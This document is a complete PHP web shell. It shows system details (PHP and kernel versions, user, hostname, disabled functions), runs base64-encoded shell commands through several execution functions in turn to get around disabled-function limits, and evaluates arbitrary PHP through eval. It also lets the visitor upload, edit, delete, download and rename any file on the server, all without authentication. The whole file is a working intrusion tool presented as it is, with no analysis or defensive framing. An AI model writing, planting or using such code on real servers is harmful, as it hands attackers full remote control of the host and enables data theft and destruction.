<?php
session_start();

function getUpperDirectory($currentDir) {
    // Check if the current directory is the root directory
    if ($currentDir === '/' || $currentDir === '\\') {
        return $currentDir;
    }
    
    // Get the parent directory
    $parentDirectory = dirname($currentDir);
    
    // Get the absolute path of the parent directory
    $absolutePath = realpath($parentDirectory);
    
    return $absolutePath;
}

function remove_dis($functions) {
  $disabled_functions = ini_get('disable_functions');
  $disabled_functions = explode(',', $disabled_functions);
  $enabled_functions = array();

  foreach ($functions as $function) {
    if (!in_array($function, $disabled_functions) && function_exists($function)) {
      $enabled_functions[] = $function;
    }
  }

  return $enabled_functions;
}

function exCommand($command) {
  $output = array();
  $return_var = 0;
  $methods = remove_dis(array('exec', 'passthru', 'shell_exec', 'system', 'proc_open', 'popen', 'backtick'));
  if(isset($_SESSION["method"])){
		$methods = array($_SESSION["method"]);
	}
  // Try each method in order
  foreach ($methods as $method) {
    switch ($method) {
      case 'exec':
        exec($command, $output, $return_var);
        break;
      case 'passthru':
        $return_var = passthru($command, $return_var);
        break;
      case 'shell_exec':
        $output = shell_exec($command);
        $return_var = strlen($output); // shell_exec doesn't provide a return_var
        break;
      case 'system':
        $return_var = system($command, $output);
        break;
      case 'proc_open':
        $process = proc_open($command, array(1 => array('pipe', 'w')), $pipes);
        $output = stream_get_contents($pipes[1]);
        $return_var = proc_close($process);
        break;
      case 'popen':
        $handle = popen($command, 'r');
        $output = stream_get_contents($handle);
        $return_var = pclose($handle);
        break;
      case 'pcntl_exec':
		
		break;
      case 'backtick':
        $output = `$command`;
        $return_var = strlen($output); // backtick operator doesn't provide a return_var
        break;
    }
    // If the command was executed successfully, break out of the loop
    //echo "Command: $command\n<br>";
    if ( (is_array($output) && count($output) > 0) || (!is_array($output) && strlen($output) > 0 ) ){
		echo "Command: $command\n<br>";
		echo "used Exxecution Method: $method\n<br>";
		$_SESSION["method"] = $method;
      break;
    }
  }

  return $output;
}

function createDirectoryLinks($directory) {
    $sections = explode(DIRECTORY_SEPARATOR, $directory);
    $currentPath = '';
    $links = '';

    foreach ($sections as $section) {
        if (!empty($section)) {
            $currentPath .= DIRECTORY_SEPARATOR . $section;
            $links .= DIRECTORY_SEPARATOR ."<a href=\"javascript:void(0)\" onclick=\"change_dir('" . $currentPath . "')\"><u>" . $section . "</u></a>";
        }
    }

    return $links;
}

function getFilePermissionsString($itemPath) {
    $permissions = fileperms($itemPath);

    // Get the file type
    $fileType = '';
    if (is_dir($itemPath)) {
        $fileType = 'd';
    } elseif (is_link($itemPath)) {
        $fileType = 'l';
    } else {
        $fileType = '-';
    }

    // Convert integer permissions to string representation
    $permissionString = $fileType;

    // Owner permissions
    $permissionString .= ($permissions & 0x0100) ? 'r' : '-';
    $permissionString .= ($permissions & 0x0080) ? 'w' : '-';
    $permissionString .= ($permissions & 0x0040) ?
        (($permissions & 0x0800) ? 's' : 'x') :
        (($permissions & 0x0800) ? 'S' : '-');

    // Group permissions
    $permissionString .= ($permissions & 0x0020) ? 'r' : '-';
    $permissionString .= ($permissions & 0x0010) ? 'w' : '-';
    $permissionString .= ($permissions & 0x0008) ?
        (($permissions & 0x0400) ? 's' : 'x') :
        (($permissions & 0x0400) ? 'S' : '-');

    // Others permissions
    $permissionString .= ($permissions & 0x0004) ? 'r' : '-';
    $permissionString .= ($permissions & 0x0002) ? 'w' : '-';
    $permissionString .= ($permissions & 0x0001) ?
        (($permissions & 0x0200) ? 't' : 'x') :
        (($permissions & 0x0200) ? 'T' : '-');

    return $permissionString;
}

function getGroupInfo($path) {
    $gid = filegroup($path);
    $groupInfo = array();
    if (file_exists('/etc/group')) {
        $handle = fopen('/etc/group', 'r');
        while (($line = fread($handle, 1024)) !== false) {
            $fields = explode(':', $line);
            if ($fields[2] == $gid) {
                $groupInfo['name'] = $fields[0];
                break;
            }
        }
        fclose($handle);
    }
    return $groupInfo['name'];
}

function getOwnerInfo($path,$isuname = false) {
	if(fileowner("..") == fileowner($path)){
		$isuname = true;
	}
    $uid = fileowner($path);
    $userInfo = array();
    if (function_exists('getpwuid')) {
        $userInfo = getpwuid($uid);
        return $userInfo['name'];
    } else {
        // Fallback method using script path
        $scriptPath = __FILE__; // Get the current script path
        if ($isuname && strpos($scriptPath, '/home/') !== false) {
            $owner = substr($scriptPath, strpos($scriptPath, '/home/') + 6);
            $owner = substr($owner, 0, strpos($owner, '/'));
            return $owner;
        } else {
            // Default fallback
            $userInfo['name'] = 'User_' . $uid;
            return $userInfo['name'];
        }
    }
}

// Fetch directory listing using ls -liah command
function getDirectoryListing($directory) {
    $directoryContents = scandir($directory);
    $lsOutput = "";
    $directories = array();
    $files = array();
	$x = 0;
    foreach ($directoryContents as $item) {
        
		$x++;
        $itemPath = $directory . '/' . $item;
        $itemInfo = pathinfo($itemPath);
        $permissions = getFilePermissionsString($itemPath);
        $owner = (function_exists('posix_getpwuid')) ? posix_getpwuid(fileowner($itemPath))['name'] : getOwnerInfo($itemPath);
		$group = (function_exists('posix_getgrgid')) ? posix_getgrgid(filegroup($itemPath))['name'] : getGroupInfo($itemPath);
        $size = filesize($itemPath);
		if ($size < 1024) {
			$sString = $size . " B";
		} elseif ($size < 1048576) {
			$sString = round($size / 1024, 2) . " KB";
		} elseif ($size < 1073741824) {
			$sString = round($size / 1048576, 2) . " MB";
		} else {
			$sString = round($size / 1073741824, 2) . " GB";
		}
		$sString = str_replace(" ", "", $sString);
		//echo "[[$sString]]";
		
        $modifiedTime = date('Y-m-d H:i:s', filemtime($itemPath));
		if(substr($permissions, 0, 1)=="d"){
			$item = "[$item]";
		}
        $line = sprintf(
            "%d[+]%s[+]%s[+]%s[+]%s[+]%s[+]%s",
            $x,
            $item,
            $owner,
            $group,
            $sString,
            $permissions,
            $modifiedTime
            
        );
        if(substr($permissions, 0, 1)=="d"){
			$directories[] = $line;
		}else{
			$files[] = $line;
		}
    }
    $lsOutput = implode("\n", $directories);
    $lsOutput .= "\n".implode("\n", $files);
    
    return $lsOutput;
}


function forceDownload($filePath) {
    if (file_exists($filePath)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($filePath));
        readfile($filePath);
        exit;
    }
}

echo <<<head
<style>
td, tr{
	font-size: small;
}
body {
  font-family: Arial, sans-serif;
  background-color: #1a1d23;
  color: #fff;
  padding: 20px;
  margin: 0;
  box-sizing: border-box;
}

h1, h2, h3, h4, h5, h6 {
  color: #fff;
  margin-bottom: 10px;
}

h1 {
  font-size: 36px;
}

h2, .underlink {
  font-size: 24px;
}

h3 {
  font-size: 18px;
}

h4, div {
  font-size: 16px;
}

h5 {
  font-size: 14px;
}

h6 {
  font-size: 12px;
}

p {
  font-size: 16px;
  margin-bottom: 20px;
}

a {
  color: #fff;
  text-decoration: none;
  transition: color 0.2s ease;
}

a:hover {
  color: #ccc;
}

table {
  border-collapse: collapse;
  width: 100%;
  margin-bottom: 20px;
}

th, td {
  border: 1px solid #333;
  padding: 10px;
  text-align: left;
}

th {
  background-color: #333;
  color: #fff;
}

td {
  border-color: #333;
}

tr:nth-child(even) {
  background-color: #333;
}

tr:nth-child(odd) {
  background-color: #444;
}

tr:hover {
  background-color: #555;
}

tr:hover td {
  background-color: #666;
}

tr:hover th {
  background-color: #777;
}

button {
  background-color: #333;
  color: #fff;
  border: none;
  padding: 10px 20px;
  font-size: 16px;
  cursor: pointer;
}

button:hover {
  background-color: #444;
}

input[type="text"] {
  padding: 10px;
  border: 1px solid #333;
  width: 30%;
  font-size: 16px;
}

input[type="submit"] {
  background-color: #333;
  color: #fff;
  border: none;
  padding: 10px 20px;
  font-size: 16px;
  cursor: pointer;
}

input[type="submit"]:hover {
  background-color: #444;
}

</style>
<body>
head;
// PHP version
echo "PHP Version: " . phpversion() . "<br>";

// Linux version
$linuxVersion = php_uname('a');
echo "Linux Version: " . $linuxVersion . "<br>";

// Uname
$uname = php_uname('s');
echo "Uname: " . $uname . "<br>";

// User
$user = (function_exists('posix_getpwuid')) ? posix_getpwuid(fileowner(".."))['name'] : getOwnerInfo("..", true);
echo "User: " . $user . "<br>";

// Hostname
$hostname = gethostname();
echo "Hostname: " . $hostname . "<br>";

// Disabled PHP functions
$disabledFunctions = ini_get('disable_functions');
echo "Disabled PHP Functions: " . $disabledFunctions . "<br>";

// Initialize array to store previous working directories
if (!isset($_SESSION['prevDirs'])) {
    $_SESSION['prevDirs'] = [];
}

// Set default working directory
$workingDir = isset($_SESSION['workingDir']) ? $_SESSION['workingDir'] : __DIR__;

// Handle change of working directory
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["newdir"])) {
    $newDir = $_POST["newdir"];
    if (is_dir($newDir)) {
        // Check if the new directory is already in previous directories
        if (!in_array($newDir, $_SESSION['prevDirs'])) {
            $_SESSION['prevDirs'][] = $workingDir;
        }
        $workingDir = realpath($newDir);
        $_SESSION['workingDir'] = $workingDir;
    } else {
        echo "Invalid directory!";
    }
}

// Handle file upload
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["file"])) {
    $uploadDir = $workingDir . '/';
    $uploadFile = $uploadDir . basename($_FILES['file']['name']);

    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
        echo "File uploaded successfully.\n";
    } else {
        echo "Error uploading file.\n";
    }
}

// Execute command
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["command"])) {
	chdir($workingDir);
    //$commandOutput = exCommand('/bin/cd ' . escapeshellarg($workingDir) . ' && ' . $_POST["command"]);
    $commandOutput = exCommand(base64_decode($_POST["command"]));
    if(is_array($commandOutput)){
		echo implode("\n<br>", $commandOutput);
	}else{
		echo "<pre>$commandOutput</pre>";
	}
}

// Handle file actions and directory listing
// Handle file actions and directory listing
if (isset($_GET['action']) && isset($_GET['filename'])) {
    $action = $_GET['action'];
    $filename = $_GET['filename'];
    switch ($action) {
        case 'E':
            // Edit file action
            $filePath = $workingDir . '/' . $filename;
            if (is_file($filePath)) {
                if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["file_content"])) {
                    // Save file content if form is submitted
                    $fileContent = $_POST["file_content"];
                    if (file_put_contents($filePath, $fileContent) !== false) {
                        echo "File saved successfully: $filename";
                    } else {
                        echo "Error saving file: $filename";
                    }
                } else {
                    // Display file content in form for editing
                    $fileContent = file_get_contents($filePath);
                    $fileContentSafe = htmlspecialchars($fileContent);
                    echo "<h2>Edit File: $filename</h2>";
                    echo "<form action=\"\" method=\"post\">";
                    echo "<textarea name=\"file_content\" rows=\"10\" cols=\"50\">$fileContentSafe</textarea><br>";
                    echo "<button type=\"submit\">Save</button>";
                    echo "</form>";
                }
            } else {
                echo "File not found: $filename";
            }
            break;
       case 'Del':
            // Delete file action
            $filePath = $workingDir . '/' . $filename;
            if (is_file($filePath)) {
                if (unlink($filePath)) {
                    echo "File deleted successfully: $filename";
                } else {
                    echo "Error deleting file: $filename";
                }
            } else {
                echo "File not found: $filename";
            }
            break;
        case 'Dow':
            // Download file action
            $filePath = $workingDir . '/' . $filename;
            if (is_file($filePath)) {
                forceDownload($filePath);
            } else {
                echo "File not found: $filename";
            }
            break;
        case 'R':
           // Handle rename file action
			if (isset($_GET['action']) && $_GET['action'] === 'R') {
				$filename = isset($_GET['filename']) ? $_GET['filename'] : '';
				$newname = isset($_GET['newname']) ? $_GET['newname'] : 'new';
				
				if (!empty($filename)) {
					// Implement your logic for renaming file here
					rename($filename, $newname);
					echo "renamed successfully from $filename to $newname";
				}
			}
            break;
        default:
            echo "Invalid action.";
            break;
    }
}

// Include the current working directory in the list of previous directories if it's not already listed
if (!in_array($workingDir, $_SESSION['prevDirs'])) {
    $_SESSION['prevDirs'][] = $workingDir;
}

// Update working directory if a previous directory link is clicked
if (isset($_GET['newdir'])) {
    $newDir = $_GET['newdir'];
    if (in_array($newDir, $_SESSION['prevDirs'])) {
        $workingDir = $newDir;
        $_SESSION['workingDir'] = $workingDir;
    }
}


// Get the directory listing
$lsOutput = getDirectoryListing($workingDir);

// Display directory listing in a table with single-line borders
$wd = __DIR__;
echo "<h2>Contents of ".createDirectoryLinks($workingDir).": <a href=\"javascript:void(0)\" onclick=\"change_dir('".$wd."')\">[<u>Home Dir</u>]</a></h2>";

// Get the current page number from the URL
$currentPage = isset($_GET['page']) ? (int)$_GET['page'] : 1;

// Set the number of entries per page
$entriesPerPage = 30;

// Split the $fileLines array into pages
$fileLinePages = array_chunk(explode("\n", $lsOutput), $entriesPerPage);

// Display the current page
echo "<table border='1' padding=1 cellspacing=0>";
foreach ($fileLinePages[$currentPage - 1] as $index => $line) {
    // Skip empty lines
    if (empty(trim($line))) continue;
    $columns = explode("[+]", $line);//preg_split('/\s+/', $line, -1, PREG_SPLIT_NO_EMPTY);
    echo "<tr>";
    foreach ($columns as $colIndex => $column) {
        if ($colIndex == count($columns) - 1) {
            // Last column (filename)
            echo "<td>$column</td>";
            if ($index >= 0) {
                // Actions for subsequent rows
                //echo $columns[5];
                if (substr($columns[5], 0, 1) != 'd') {
                    // If not a directory, include actions
                    echo '<td style="padding-left:3px;padding-right:2px;">';
                    echo "&nbsp;&nbsp;<a href=\"?action=E&filename=$columns[1]\">E</a> | ";
                    echo "<a href=\"?action=Del&filename=$columns[1]\">Del</a> | ";
                    echo "<a href=\"?action=Dow&filename=$columns[1]\">Dow</a> | ";
                    echo "<a href=\"?action=R&filename=$columns[1]\" id=\"rena\">R</a>&nbsp;&nbsp;";
                    echo "</td>";
                } elseif($columns[1]=="[.]" || $columns[1]=="[..]"){
					echo '<td style="padding-left:3px;padding-right:2px;">&nbsp;</td>';
				}else{
					$dirName = str_replace("[", "", $columns[1]);
					$dirName = str_replace("]", "", $dirName);
                    echo '<td style="padding-left:3px;padding-right:2px;">';
                    echo "<a href=\"?action=Dow&filename=$dirName\">Download</a> | ";
                    echo "<a href=\"?action=R&filename=$dirName\" id=\"rena\">Rename</a>&nbsp;&nbsp;";
                    echo "</td>";
                }
            }
        } else {
            // Other columns
            if(substr($column[0], 0, 1) == '['){
				//make it clickable to change directory
				$dirName = str_replace("[", "", $column);
				$dirName = str_replace("]", "", $dirName);
				
				if($dirName==".."){
					$dirName = getUpperDirectory($workingDir);
				}elseif($dirName !="."){
					$dirName = $workingDir."/".$dirName;
				}
				if ($dirName=="."){
					echo "<td>[.]</td>";
				}else{
					echo "<td><a href=\"javascript:void(0)\" onclick=\"change_dir('$dirName')\">$column</a></td>";
				}
			}else{
				echo "<td>$column</td>";
			}
        }
    }
    echo "</tr>";
}
echo "</table>";
// Display pagination links
echo "<div>";

// Calculate total pages and current page range
$totalPages = count($fileLinePages);
$currentPage = isset($_GET['page']) ? (int)$_GET['page'] : 1;
$range = 11; // Number of pages to show before and after the current page

// Display previous ten pages link
if ($currentPage > $range) {
    echo "<a href=\"?page=" . max(1, $currentPage - $range) . "\" class=underlink><<prev ten</a> ";
} else {
    echo "<span class=\"disabled underlink\"><<prev ten</span> ";
}

// Display page numbers
for ($page = max(1, $currentPage - $range); $page <= min($totalPages, $currentPage + $range); $page++) {
    echo "<a href=\"?page=$page\" class=underlink";
    if ($page === $currentPage) {
        echo " style=\"font-weight: bold;\"";
    }
    echo ">$page</a> ";
}

// Display next ten pages link
if ($currentPage + $range < $totalPages) {
    echo "<a href=\"?page=" . min($totalPages, $currentPage + $range) . "\" class=underlink>next ten>></a> ";
} else {
    echo "<span class=\"disabled underlink\">next ten>></span> ";
}

echo "(total pages: $totalPages)";
echo "</div><br><br>";

// Change Working Directory form
echo "<form action=\"" . htmlspecialchars($_SERVER["PHP_SELF"]) . "\" method=\"post\" id=\"changedir\">";
echo "<label for=\"newdir\">Change Working Directory:</label>";
echo "<input type=\"text\" name=\"newdir\" id=\"newdir\">";
echo "<button type=\"submit\" name=\"submit\">CD</button>";
echo "</form>";

// Upload form
echo "<h2>Upload a File</h2>";
echo "<form action=\"" . htmlspecialchars($_SERVER["PHP_SELF"]) . "\" method=\"post\" enctype=\"multipart/form-data\">";
echo "<input type=\"file\" name=\"file\" id=\"file\">";
echo "<button type=\"submit\" name=\"submit\">Upload</button>";
echo "</form>";

// Command Execution form
echo "<h2>Execute Command</h2>";
echo "<form action=\"" . htmlspecialchars($_SERVER["PHP_SELF"]) . "\" method=\"post\" onsubmit=\"c=document.getElementById('command');c.value=btoa(c.value);\">";
echo "<label for=\"command\">Command:</label>";
echo "<input type=\"text\" name=\"command\" id=\"command\">";
echo "<button type=\"submit\" name=\"submit\">Execute</button>";
echo "</form>";

// PHP Eval form
echo "<h2>Evaluate PHP Code</h2>";
echo "<form action=\"" . htmlspecialchars($_SERVER["PHP_SELF"]) . "\" method=\"post\">";
echo "<label for=\"php_code\">PHP Code:</label>";
echo "<textarea name=\"php_code\" id=\"php_code\" rows=\"5\"></textarea>";
echo "<button type=\"submit\" name=\"submit\">Evaluate</button>";
echo "</form>";

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["php_code"])) {
    $phpCode = $_POST["php_code"];
    try {
        ob_start();
        eval($phpCode);
        $output = ob_get_clean();
        echo "<h3>Output:</h3>";
        echo "<pre>$output</pre>";
    } catch (Exception $e) {
        echo "<h3>Error:</h3>";
        echo "<pre>" . $e->getMessage() . "</pre>";
    }
}
echo <<<footer
</body>
<script>
function change_dir(dirname){
	document.getElementById("newdir").value = dirname;
	formm = document.getElementById("changedir");
	formm.submit.click();
}
</script>
footer;

?>
